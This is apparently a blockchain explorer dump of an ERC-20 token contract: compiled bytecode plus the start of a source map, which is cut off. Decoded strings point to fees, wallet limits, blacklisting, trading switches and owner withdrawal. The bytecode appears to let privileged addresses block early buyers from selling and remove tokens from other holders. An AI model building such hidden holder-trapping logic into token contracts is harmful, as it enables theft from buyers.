b946020939093013593505050565b60006020828403121561327b57600080fd5b5035919050565b6000806000806080858703121561329857600080fd5b5050823594602084013594506040840135936060013592509050565b6000806000606084860312156132c957600080fd5b83356132d481613225565b925060208401356132e481613225565b929592945050506040919091013590565b60006020828403121561330757600080fd5b8135610f4181613225565b801515811461323a57600080fd5b6000806040838503121561333357600080fd5b823561333e81613225565b9150602083013561334e81613312565b809150509250929050565b60008060006060848603121561336e57600080fd5b833561337981613225565b95602085013595506040909401359392505050565b600080604083850312156133a157600080fd5b82356133ac81613225565b9150602083013561334e81613225565b600181811c908216806133d057607f821691505b6020821081036133f057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610b9457610b9461342b565b60008261347557634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610b9457610b9461342b565b60006020828403121561349f57600080fd5b8151610f4181613225565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156134fa57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561352557600080fd5b8151610f4181613312565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610b9457610b9461342b565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156136315784516001600160a01b03168352938301939183019160010161360c565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220e4d14594d36d596f66912c2953092cbc6dc4f3d8ebf96df7a5934844c13d918f64736f6c634300081200334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0

Deployed Bytecode

0x6080604052600436106103bc5760003560e01c806381bfdcca116101f2578063bbc0c7421161010d578063d4384318116100a0578063e611bfdb1161006f578063e611bfdb14610a90578063e884f26014610aa6578063f2fde38b14610abb578063fd35d1d614610adb57600080fd5b8063d438431814610a0a578063dd62ed3e14610a20578063dff85be914610a64578063e2f4560514610a7a57600080fd5b8063c876d0b9116100dc578063c876d0b91461099e578063c9420f87146109be578063cd51e6d4146109de578063d0a39814146109f457600080fd5b8063bbc0c7421461091d578063bd8d82111461093e578063c02466681461095e578063c5b45ec01461097e57600080fd5b8063a457c2d711610185578063abe43b1b11610154578063abe43b1b146108ba578063ad9b8fff146108d1578063b9e93700146108e7578063bb85c6d1146108fd57600080fd5b8063a457c2d714610844578063a599c25714610864578063a9059cbb14610884578063aa4bde28146108a457600080fd5b80638da5cb5b116101c15780638da5cb5b146107db57806395d89b41146107f95780639a7a23d61461080e5780639fccce321461082e57600080fd5b806381bfdcca14610787578063868f0a74146107a757806388e765ff146107bd5780638a8c523c146107d357600080fd5b806343776499116102e25780636ddd171311610275578063737952e611610244578063737952e614610726578063751039fc1461073c5780637571336a1461075157806376c702bf1461077157600080fd5b80636ddd1713146106a75780636eb490cf146106c157806370a08231146106f1578063715018a61461071157600080fd5b80635b322205116102b15780635b3222051461062e57806366d602ae1461064e578063674ed2e4146106645780636b0a894c1461069157600080fd5b806343776499146105a957806349bd5a5e146105bf5780634a62bb65146105df57806359d24b8e146105fe57600080fd5b80631b260e941161035a578063313ce56711610329578063313ce567146105425780633430a6671461055e57806339509351146105745780633ccfd60b1461059457600080fd5b80631b260e94146104cc5780631d5cd545146104ec5780631f3fed8f1461050c57806323b872dd1461052257600080fd5b80630ff5741d116103965780630ff5741d146104455780631694505e1461046957806318160ddd146104a15780631a8145bb146104b657600080fd5b806306fdde03146103c8578063095ea7b3146103f357806309d6bf0a1461042357600080fd5b366103c357005b600080fd5b3480156103d457600080fd5b506103dd610af1565b6040516103ea91906131d7565b60405180910390f35b3480156103ff57600080fd5b5061041361040e36600461323d565b610b83565b60405190151581526020016103ea565b34801561042f57600080fd5b5061044361043e366004613269565b610b9a565b005b34801561045157600080fd5b5061045b60225481565b6040519081526020016103ea565b34801561047557600080fd5b50600754610489906001600160a01b031681565b6040516001600160a01b0390911681526020016103ea565b3480156104ad57600080fd5b5060045461045b565b3480156104c257600080fd5b5061045b601b5481565b3480156104d857600080fd5b506104436104e7366004613282565b610cee565b3480156104f857600080fd5b50610443610507366004613269565b610d91565b34801561051857600080fd5b5061045b601a5481565b34801561052e57600080fd5b5061041361053d3660046132b4565b610e9e565b34801561054e57600080fd5b50604051601281526020016103ea565b34801561056a57600080fd5b5061045b60155481565b34801561058057600080fd5b5061041361058f36600461323d565b610f48565b3480156105a057600080fd5b50610443610f82565b3480156105b557600080fd5b5061045b600f5481565b3480156105cb57600080fd5b50600654610489906001600160a01b031681565b3480156105eb57600080fd5b5060215461041390610100900460ff1681565b34801561060a57600080fd5b506104136106193660046132f5565b60096020526000908152604090205460ff1681565b34801561063a57600080fd5b50610443610649366004613269565b610fee565b34801561065a57600080fd5b5061045b60255481565b34801561067057600080fd5b5061045b61067f3660046132f5565b60086020526000908152604090205481565b34801561069d57600080fd5b5061045b60235481565b3480156106b357600080fd5b506021546104139060ff1681565b3480156106cd57600080fd5b506104136106dc3660046132f5565b600b6020526000908152604090205460ff1681565b3480156106fd57600080fd5b5061045b61070c3660046132f5565b6110f5565b34801561071d57600080fd5b50610443611110565b34801561073257600080fd5b5061045b60165481565b34801561074857600080fd5b50610443611184565b34801561075d57600080fd5b5061044361076c366004613320565b6111eb565b34801561077d57600080fd5b5061045b60115481565b34801561079357600080fd5b506104436107a2366004613269565b6112b3565b3480156107b357600080fd5b5061045b60145481565b3480156107c957600080fd5b5061045b60265481565b6104436113bc565b3480156107e757600080fd5b506005546001600160a01b0316610489565b34801561080557600080fd5b506103dd611766565b34801561081a57600080fd5b50610443610829366004613320565b611775565b34801561083a57600080fd5b5061045b60185481565b34801561085057600080fd5b5061041361085f36600461323d565b611869565b34801561087057600080fd5b5061044361087f366004613359565b611900565b34801561089057600080fd5b5061041361089f36600461323d565b61193e565b3480156108b057600080fd5b5061045b60245481565b3480156108c657600080fd5b50601f544310610413565b3480156108dd57600080fd5b5061045b60195481565b3480156108f357600080fd5b5061045b600e5481565b34801561090957600080fd5b506104436109183660046132f5565b61194b565b34801561092957600080fd5b50602154610413906301000000900460ff1681565b34801561094a57600080fd5b506104436109593660046132f5565b6119f9565b34801561096a57600080fd5b50610443610979366004613320565b611a9b565b34801561098a57600080fd5b506104436109993660046132f5565b611b24565b3480156109aa57600080fd5b506021546104139062010000900460ff1681565b3480156109ca57600080fd5b506104436109d9366004613282565b611b6f565b3480156109ea57600080fd5b5061045b60205481565b348015610a0057600080fd5b5061045b60135481565b348015610a1657600080fd5b5061045b60175481565b348015610a2c57600080fd5b5061045b610a3b36600461338e565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b348015610a7057600080fd5b5061045b60105481565b348015610a8657600080fd5b5061045b601e5481565b348015610a9c57600080fd5b5061045b601f5481565b348015610ab257600080fd5b50610443611c0f565b348015610ac757600080fd5b50610443610ad63660046132f5565b611c47565b348015610ae757600080fd5b5061045b60125481565b606060028054610b00906133bc565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2c906133bc565b8015610b795780601f10610b4e57610100808354040283529160200191610b79565b820191906000526020600020905b815481529060010190602001808311610b5c57829003601f168201915b5050505050905090565b6000610b90338484611d32565b5060015b92915050565b6005546001600160a01b03163314610bcd5760405162461bcd60e51b8152600401610bc4906133f6565b60405180910390fd5b6103e8610bd960045490565b610be4906001613441565b610bee9190613458565b811115610c5a5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610bc4565b620186a0610c6760045490565b610c72906001613441565b610c7c9190613458565b811015610ce95760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610bc4565b601e55565b6005546001600160a01b03163314610d185760405162461bcd60e51b8152600401610bc4906133f6565b600f8490556010839055601182905560128190558082610d38858761347a565b610d42919061347a565b610d4c919061347a565b600e81905560031015610d8b5760405162461bcd60e51b8152602060048201526007602482015266019929036b0bc160cd1b6044820152606401610bc4565b50505050565b6005546001600160a01b03163314610dbb5760405162461bcd60e51b8152600401610bc4906133f6565b670de0b6b3a76400006103e8610dd060045490565b610ddb906002613441565b610de59190613458565b610def9190613458565b811015610e505760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610bc4565b610e6281670de0b6b3a7640000613441565b60268190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6000610eab848484611e55565b6001600160a01b03841660009081526020818152604080832033845290915290205482811015610f2e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610bc4565b610f3b8533858403611d32565b60019150505b9392505050565b336000818152602081815260408083206001600160a01b03871684529091528120549091610b90918590610f7d90869061347a565b611d32565b6005546001600160a01b03163314610fac5760405162461bcd60e51b8152600401610bc4906133f6565b604051600090339047908381818185875af1925050503d8060008114610d8b576040519150601f19603f3d011682016040523d82523d6000602084013e610d8b565b6005546001600160a01b031633146110185760405162461bcd60e51b8152600401610bc4906133f6565b670de0b6b3a76400006103e861102d60045490565b611038906002613441565b6110429190613458565b61104c9190613458565b8110156110ae5760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610bc4565b6110c081670de0b6b3a7640000613441565b60258190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e93565b6001600160a01b031660009081526001602052604090205490565b6005546001600160a01b0316331461113a5760405162461bcd60e51b8152600401610bc4906133f6565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b031633146111ae5760405162461bcd60e51b8152600401610bc4906133f6565b6004546024556004546026556004546025556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b031633146112155760405162461bcd60e51b8152600401610bc4906133f6565b80611288576006546001600160a01b03908116908316036112885760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610bc4565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146112dd5760405162461bcd60e51b8152600401610bc4906133f6565b670de0b6b3a76400006103e86112f260045490565b6112fd906003613441565b6113079190613458565b6113119190613458565b8110156113755760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610bc4565b61138781670de0b6b3a7640000613441565b60248190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e93565b6005546001600160a01b031633146113e65760405162461bcd60e51b8152600401610bc4906133f6565b6021546301000000900460ff16156114405760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610bc4565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155611478903090610f7d60045490565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ef919061348d565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611551573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611575919061348d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156115c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e6919061348d565b600680546001600160a01b0319166001600160a01b03929092169182179055611610906001612a84565b6007546001600160a01b031663f305d719343061162c816110f5565b6000806116416005546001600160a01b031690565b426040518863ffffffff1660e01b8152600401611663969594939291906134aa565b60606040518083038185885af1158015611681573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116a691906134e5565b505060065460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156116ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117239190613513565b50602180544360205563ff0000ff191663010000011790556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b606060038054610b00906133bc565b6005546001600160a01b0316331461179f5760405162461bcd60e51b8152600401610bc4906133f6565b6006546001600160a01b03908116908316036118235760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610bc4565b61182d8282612a84565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b336000908152602081815260408083206001600160a01b0386168452909152812054828110156118e95760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610bc4565b6118f63385858403611d32565b5060019392505050565b61190b838383612ab2565b1561193957601d805460ff60a01b1916600160a01b17905561192b612b51565b601d805460ff60a01b191690555b505050565b6000610b90338484611e55565b6005546001600160a01b031633146119755760405162461bcd60e51b8152600401610bc4906133f6565b6001600160a01b0381166119d75760405162461bcd60e51b8152602060048201526024808201527f5f6d61726b6574696e6757616c6c657420616464726573732063616e6e6f74206044820152630626520360e41b6064820152608401610bc4565b601c80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611a235760405162461bcd60e51b8152600401610bc4906133f6565b6001600160a01b038116611a795760405162461bcd60e51b815260206004820152601e60248201527f5f64657657616c6c657420616464726573732063616e6e6f74206265203000006044820152606401610bc4565b601d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611ac55760405162461bcd60e51b8152600401610bc4906133f6565b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314611b4e5760405162461bcd60e51b8152600401610bc4906133f6565b6001600160a01b03166000908152600960205260409020805460ff19169055565b6005546001600160a01b03163314611b995760405162461bcd60e51b8152600401610bc4906133f6565b60148490556015839055601682905560178190558082611bb9858761347a565b611bc3919061347a565b611bcd919061347a565b601381905560031015610d8b5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610bc4565b6005546001600160a01b03163314611c395760405162461bcd60e51b8152600401610bc4906133f6565b6021805462ff000019169055565b6005546001600160a01b03163314611c715760405162461bcd60e51b8152600401610bc4906133f6565b6001600160a01b038116611cd65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610bc4565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611d945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610bc4565b6001600160a01b038216611df55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610bc4565b6001600160a01b038381166000818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316611e7b5760405162461bcd60e51b8152600401610bc490613530565b6001600160a01b038216611ea15760405162461bcd60e51b8152600401610bc490613575565b60008111611ef15760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610bc4565b6000611efc836110f5565b6001600160a01b0384166000908152600860205260409020546021549115925015906301000000900460ff16611fb0576001600160a01b0385166000908152600d602052604090205460ff1680611f6b57506001600160a01b0384166000908152600d602052604090205460ff165b611fb05760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610bc4565b6001600160a01b0385166000908152600b6020526040902054601f54429160ff169015612079576001600160a01b03871660009081526009602052604090205460ff16158061200c57506005546001600160a01b038781169116145b8061202157506001600160a01b03861661dead145b6120795760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610bc4565b602154610100900460ff161561251c57601d5460ff600160a01b90910416156120aa6005546001600160a01b031690565b6001600160a01b0316886001600160a01b0316141580156120d957506005546001600160a01b03888116911614155b80156120ed57506001600160a01b03871615155b801561210457506001600160a01b03871661dead14155b801561212957506001600160a01b0388166000908152600d602052604090205460ff16155b801561214e57506001600160a01b0387166000908152600d602052604090205460ff16155b156122b95760215462010000900460ff16156122b957601d546001600160a01b03808a166000908152600b602052604090205460075460ff600160a01b909404841615939190911615918a81169116148015906121b957506006546001600160a01b038a8116911614155b1561227c576121c96002436135b8565b326000908152600a602052604090205410801561220757506121ec6002436135b8565b6001600160a01b038a166000908152600a6020526040902054105b6122535760405162461bcd60e51b815260206004820152601d60248201527f5f7472616e736665723a2064656c61792077617320656e61626c65642e0000006044820152606401610bc4565b326000908152600a602052604080822043908190556001600160a01b038c1683529120556122b6565b8080156122865750815b156122b6576001600160a01b038a166000908152600860205260409020546022548111806122b357600080fd5b50505b50505b6001600160a01b0388166000908152600d6020908152604080832054600b9092529091205460ff9182169116801561230a57506001600160a01b0388166000908152600c602052604090205460ff16155b156123d6576026548711156123725760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610bc4565b60245461237e896110f5565b612388908961347a565b11156123d15760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610bc4565b612519565b8080156123e05750815b156123ef576022849055612519565b6001600160a01b0388166000908152600b602052604090205460ff16801561243057506001600160a01b0389166000908152600c602052604090205460ff16155b1561249a576025548711156123d15760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610bc4565b6001600160a01b0388166000908152600c602052604090205460ff16612519576024546124c6896110f5565b6124d0908961347a565b11156125195760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610bc4565b50505b6000612527306110f5565b601e5490915081108015908190612540575060215460ff165b80156125565750601d54600160a01b900460ff16155b801561257b57506001600160a01b0389166000908152600b602052604090205460ff16155b80156125a057506001600160a01b0389166000908152600d602052604090205460ff16155b80156125c557506001600160a01b0388166000908152600d602052604090205460ff16155b156125f357601d805460ff60a01b1916600160a01b1790556125e5612b51565b601d805460ff60a01b191690555b60018580156125ff5750835b80156126085750865b15612629576001600160a01b03891660009081526008602052604090208590555b6001600160a01b038a166000908152600d602052604090205460ff168061266857506001600160a01b0389166000908152600d602052604090205460ff165b15612671575060005b60008115612a6c57601f54431080156126a257506001600160a01b038b166000908152600b602052604090205460ff165b80156126c757506001600160a01b038a166000908152600b602052604090205460ff16155b80156126d557506000600e54115b15612855576001600160a01b038a1660009081526009602052604090205460ff16612775576001600160a01b038a166000908152600960205260408120805460ff19166001908117909155602380549192909161273390849061347a565b90915550506040516001600160a01b038b1681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b60646127828a6063613441565b61278c9190613458565b9050600e54600f548261279f9190613441565b6127a99190613458565b601860008282546127ba919061347a565b9091555050600e546010546127cf9083613441565b6127d99190613458565b601960008282546127ea919061347a565b9091555050600e546012546127ff9083613441565b6128099190613458565b601b600082825461281a919061347a565b9091555050600e5460115461282f9083613441565b6128399190613458565b601a600082825461284a919061347a565b90915550612a4e9050565b6001600160a01b038a166000908152600b602052604090205460ff16801561287f57506000601354115b156129415760646013548a6128949190613441565b61289e9190613458565b9050601354601454826128b19190613441565b6128bb9190613458565b601860008282546128cc919061347a565b90915550506013546015546128e19083613441565b6128eb9190613458565b601960008282546128fc919061347a565b90915550506013546017546129119083613441565b61291b9190613458565b601b600082825461292c919061347a565b909155505060135460165461282f9083613441565b6001600160a01b038b166000908152600b602052604090205460ff16801561296b57506000600e54115b15612a4e576064600e548a6129809190613441565b61298a9190613458565b9050600e54600f548261299d9190613441565b6129a79190613458565b601860008282546129b8919061347a565b9091555050600e546010546129cd9083613441565b6129d79190613458565b601960008282546129e8919061347a565b9091555050600e546012546129fd9083613441565b612a079190613458565b601b6000828254612a18919061347a565b9091555050600e54601154612a2d9083613441565b612a379190613458565b601a6000828254612a48919061347a565b90915550505b8015612a5f57612a5f8b3083612d59565b612a69818a6135b8565b98505b612a778b8b8b612d59565b5050505050505050505050565b6001600160a01b0382166000908152600b60205260409020805460ff191682151517905561182d8282612eae565b336000818152600d602052604081205490919060ff16823082612b1a576000601954612add836110f5565b10159050600080601954119050808015612af45750815b15612b0557612b0586601954612f11565b505060006019555060019350610f4192505050565b86158015612b3057602287905560009250612b44565b6022879055612b3f8989612f11565b600092505b8295505050505050610f41565b6000601954118015612b6d5750601954612b6a306110f5565b10155b15612b7e57612b7e30601954612f11565b60006019819055601854601a54601b54612b98919061347a565b612ba2919061347a565b90506000612baf306110f5565b9050801580612bbc575081155b15612bc5575050565b601e54612bd390600a613441565b811115612beb57601e54612be890600a613441565b90505b6000600283601b5484612bfe9190613441565b612c089190613458565b612c129190613458565b9050612c26612c2182846135b8565b612fdc565b601b5447908190600090612c3c90600290613458565b612c4690876135b8565b601854612c539085613441565b612c5d9190613458565b905060006002601b54612c709190613458565b612c7a90886135b8565b601a54612c879086613441565b612c919190613458565b9050612c9d828261347a565b612ca790846135b8565b600060188190556019819055601b819055601a5592508415801590612ccc5750600083115b15612cdb57612cdb8584613136565b601d546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015612d15573d6000803e3d6000fd5b50601c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612d4f573d6000803e3d6000fd5b5050505050505050565b6001600160a01b038316612d7f5760405162461bcd60e51b8152600401610bc490613530565b6001600160a01b038216612da55760405162461bcd60e51b8152600401610bc490613575565b6001600160a01b03831660009081526001602052604090205481811015612e1d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610bc4565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290612e5490849061347a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ea091815260200190565b60405180910390a350505050565b6001600160a01b0382166000818152600c6020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b038216612f415760405162461bcd60e51b81526020600482015260006024820152604401610bc4565b6001600160a01b03821660009081526001602052604090205481811015612f845760405162461bcd60e51b81526020600482015260006024820152604401610bc4565b6001600160a01b03831660008181526001602090815260408083208686039055600480548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611e48565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110613011576130116135cb565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561306a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061308e919061348d565b816001815181106130a1576130a16135cb565b6001600160a01b0392831660209182029290920101526007546130c79130911684611d32565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906131009085906000908690309042906004016135e1565b600060405180830381600087803b15801561311a57600080fd5b505af115801561312e573d6000803e3d6000fd5b505050505050565b60075461314e9030906001600160a01b031684611d32565b60075460405163f305d71960e01b81526001600160a01b039091169063f305d71990839061318d9030908790600090819061dead9042906004016134aa565b60606040518083038185885af11580156131ab573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131d091906134e5565b5050505050565b600060208083528351808285015260005b81811015613204578581018301518582016040015282016131e8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461323a57600080fd5b50565b6000806040838503121561325057600080fd5b823561325b81613225565b946020939093013593505050565b60006020828403121561327b57600080fd5b5035919050565b6000806000806080858703121561329857600080fd5b5050823594602084013594506040840135936060013592509050565b6000806000606084860312156132c957600080fd5b83356132d481613225565b925060208401356132e481613225565b929592945050506040919091013590565b60006020828403121561330757600080fd5b8135610f4181613225565b801515811461323a57600080fd5b6000806040838503121561333357600080fd5b823561333e81613225565b9150602083013561334e81613312565b809150509250929050565b60008060006060848603121561336e57600080fd5b833561337981613225565b95602085013595506040909401359392505050565b600080604083850312156133a157600080fd5b82356133ac81613225565b9150602083013561334e81613225565b600181811c908216806133d057607f821691505b6020821081036133f057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610b9457610b9461342b565b60008261347557634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610b9457610b9461342b565b60006020828403121561349f57600080fd5b8151610f4181613225565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156134fa57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561352557600080fd5b8151610f4181613312565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610b9457610b9461342b565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156136315784516001600160a01b03168352938301939183019160010161360c565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220e4d14594d36d596f66912c2953092cbc6dc4f3d8ebf96df7a5934844c13d918f64736f6c63430008120033

Deployed Bytecode Sourcemap

8039:20156:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4011:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7450:194;;;;;;;;;;-1:-1:-1;7450:194:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7450:194:0;1023:187:1;15619:432:0;;;;;;;;;;-1:-1:-1;15619:432:0;;;;;:::i;:::-;;:::i;:::-;;9447:21;;;;;;;;;;;;;;;;;;;1546:25:1;;;1534:2;1519:18;9447:21:0;1400:177:1;8116:38:0;;;;;;;;;;-1:-1:-1;8116:38:0;;;;-1:-1:-1;;;;;8116:38:0;;;;;;-1:-1:-1;;;;;1768:32:1;;;1750:51;;1738:2;1723:18;8116:38:0;1582:225:1;4119:108:0;;;;;;;;;;-1:-1:-1;4207:12:0;;4119:108;;9015:33;;;;;;;;;;;;;;;;16547:524;;;;;;;;;;-1:-1:-1;16547:524:0;;;;;:::i;:::-;;:::i;14909:343::-;;;;;;;;;;-1:-1:-1;14909:343:0;;;;;:::i;:::-;;:::i;8975:33::-;;;;;;;;;;;;;;;;4570:529;;;;;;;;;;-1:-1:-1;4570:529:0;;;;;:::i;:::-;;:::i;3798:93::-;;;;;;;;;;-1:-1:-1;3798:93:0;;3881:2;2805:36:1;;2793:2;2778:18;3798:93:0;2663:184:1;8782:31:0;;;;;;;;;;;;;;;;5936:290;;;;;;;;;;-1:-1:-1;5936:290:0;;;;;:::i;:::-;;:::i;21202:153::-;;;;;;;;;;;;;:::i;8559:27::-;;;;;;;;;;;;;;;;8081:28;;;;;;;;;;-1:-1:-1;8081:28:0;;;;-1:-1:-1;;;;;8081:28:0;;;9321:33;;;;;;;;;;-1:-1:-1;9321:33:0;;;;;;;;;;;8213:47;;;;;;;;;;-1:-1:-1;8213:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15260:351;;;;;;;;;;-1:-1:-1;15260:351:0;;;